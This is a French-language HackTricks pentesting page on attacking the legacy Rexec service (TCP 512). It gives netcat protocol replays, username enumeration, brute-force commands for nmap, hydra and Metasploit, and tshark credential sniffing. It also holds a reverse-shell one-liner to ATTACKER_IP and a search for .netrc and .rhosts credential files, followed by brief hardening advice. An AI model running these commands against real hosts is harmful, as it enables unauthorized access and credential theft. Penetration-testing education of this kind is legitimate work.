512 - Pentesting Rexec
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Informations de base
Rexec (remote exec) fait partie de la suite originale des r-services de Berkeley (avec rlogin, rsh, …). Il fournit une capacité d’exécution de commandes à distance authentifiée uniquement par un nom d’utilisateur et un mot de passe en clair. Le protocole a été défini au début des années 1980 (voir RFC 1060) et est aujourd’hui considéré comme insécurisé par conception. Pourtant, il reste encore activé par défaut sur certains équipements UNIX hérités / connectés au réseau et apparaît parfois lors de pentests internes.
Port par défaut: TCP 512 (exec)
PORT STATE SERVICE
512/tcp open exec
🔥 Tout le trafic – y compris les credentials – est transmis non chiffré. Toute personne capable de sniff le réseau peut récupérer le username, password et la commande.
Aperçu rapide du protocole
- Le client se connecte à TCP 512.
- Le client envoie trois chaînes NUL-terminated :
- le numéro de port (en ASCII) où il souhaite recevoir stdout/stderr (souvent
0), - le username,
- le password.
- Une dernière chaîne NUL-terminated contenant la commande à exécuter est envoyée.
- Le serveur répond par un seul octet d’état 8 bits (0 = succès,
1= échec) suivi par la sortie de la commande.
Si le premier champ est non nul, le serveur ouvre une deuxième connexion TCP vers le client et l’utilise pour stderr. Ceci est utile à la fois pour les tests manuels et pour le fingerprinting filtering / firewall issues autour du service.
Cela signifie que vous pouvez reproduire l’échange avec rien d’autre que echo -e et nc:
(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512
Si les identifiants sont valides, vous recevrez la sortie de id directement sur la même connexion.
Si vous voulez recevoir stderr sur un listener dédié, demandez au serveur de se connecter en retour vers vous :
nc -lvnp 4444
printf '4444\0user\0password\0id; uname -a\0' | nc <target> 512
De nombreuses implémentations courantes (par exemple GNU rexecd) imposent encore 16-byte username/password fields et renvoient des different diagnostic strings pour les noms d’utilisateur invalides par rapport aux mots de passe invalides. Cela a de l’importance pendant l’enumeration car certaines cibles leakent si le compte existe avant que vous commenciez le brute forcing.
Utilisation manuelle avec le client
De nombreuses distributions Linux incluent encore le client legacy dans le package inetutils-rexec / rsh-client :
rexec -l user -p password <target> "uname -a"
Si -p est omis, le client demandera le mot de passe de façon interactive (visible sur le réseau en clair !).
Pour éviter de laisser le mot de passe dans l’historique du shell / la liste des processus, GNU rexec prend également en charge la lecture depuis stdin :
printf '%s\n' 'password' | rexec -l user -p - <target> "id"
Ce n’est pas plus sûr sur le network ; cela ne réduit que l’exposition locale sur l’attacking host.
Enumeration & Brute-forcing
Brute-force
Nmap
nmap -sV -p 512 <target>
# Confirm the classic exec service before credential attacks
nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>
Le NSE rexec-brute utilise le protocole décrit ci‑dessus pour essayer des credentials très rapidement.
Hydra / Medusa / Ncrack
hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8
hydra dispose d’un module rexec dédié et reste le bruteforcer hors ligne le plus rapide. medusa (-M REXEC) et ncrack (module rexec) peuvent être utilisés de la même façon.
Énumération des noms d’utilisateur via les messages du serveur
Certaines implémentations de rexecd exposent des erreurs distinctes telles que Login incorrect. vs Password incorrect.. Si vous observez ce comportement, validez d’abord les noms d’utilisateur, puis effectuez le brute force des mots de passe :
printf '0\0root\0wrongpass\0id\0' | nc -w 2 <target> 512 | tail -c +2
printf '0\0definitelynotreal\0wrongpass\0id\0' | nc -w 2 <target> 512 | tail -c +2
Si les messages diffèrent, constituez une liste d’utilisateurs valides avant d’envoyer un password spray massif.
Vérifier les services r associés
rexec lui-même utilise password authentication, contrairement à la logique trusted-host de rsh / rlogin, mais en pratique ils proviennent souvent du même paquet hérité (openbsd-inetd, inetutils, bundles UNIX du fournisseur). Si le port TCP 512 est ouvert, vérifiez immédiatement les ports TCP 513 et 514 également, car l’abus de .rhosts / /etc/hosts.equiv peut permettre un mouvement latéral plus facile :
nmap -sV -p 512,513,514 <target>
Voir aussi :
Metasploit
use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
Le module ouvrira un shell en cas de succès et stockera les credentials dans la base de données .
Sniffing credentials
Parce que tout est en clair, les captures réseau sont inestimables. Avec une copie du trafic, vous pouvez extraire les creds sans toucher la cible:
tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}' # username:password -> command
(In Wireshark enable Decode As … TCP 512 → REXEC pour afficher des champs correctement analysés.)
Conseils post-exploitation
- Les commandes s’exécutent avec les privilèges de l’utilisateur fourni. Si
/etc/pam.d/rexecest mal configuré (par ex.pam_rootok), des shells root sont parfois possibles. - Rexec ignore le shell de l’utilisateur et exécute la commande via
/bin/sh -c <cmd>. Vous pouvez donc utiliser les astuces d’échappement de shell habituelles (;,$( ), backticks) pour enchaîner plusieurs commandes ou lancer des reverse shells:
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
- Les mots de passe sont souvent stockés dans
~/.netrcou d’anciens scripts d’automatisation sur d’autres systèmes ; si vous compromettez un hôte, vous pouvez les réutiliser pour un mouvement latéral :
find / -xdev \( -name .netrc -o -name netrc -o -iname '*rexec*' -o -path '*/.rhosts' \) 2>/dev/null
Durcissement / Détection
- Ne pas exposer rexec ; remplacez-le par SSH. Pratiquement tous les superserveurs inetd modernes commentent le service par défaut.
- Si vous devez le conserver, restreignez l’accès avec TCP wrappers (
/etc/hosts.allow) ou des règles de pare-feu et imposez des mots de passe forts par compte. - Surveillez le trafic vers :512 et les lancements du processus
rexecd. Une seule capture de paquets suffit à détecter une compromission. - Désactivez
rexec,rlogin,rshensemble — ils partagent la majeure partie du même code et les mêmes faiblesses.
Références
- GNU Inetutils
rexecd/rexecdocumentation – https://www.gnu.org/software/inetutils/manual/html_node/rexecd-invocation.html - Nmap NSE
rexec-brutedocumentation – https://nmap.org/nsedoc/scripts/rexec-brute.html
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.


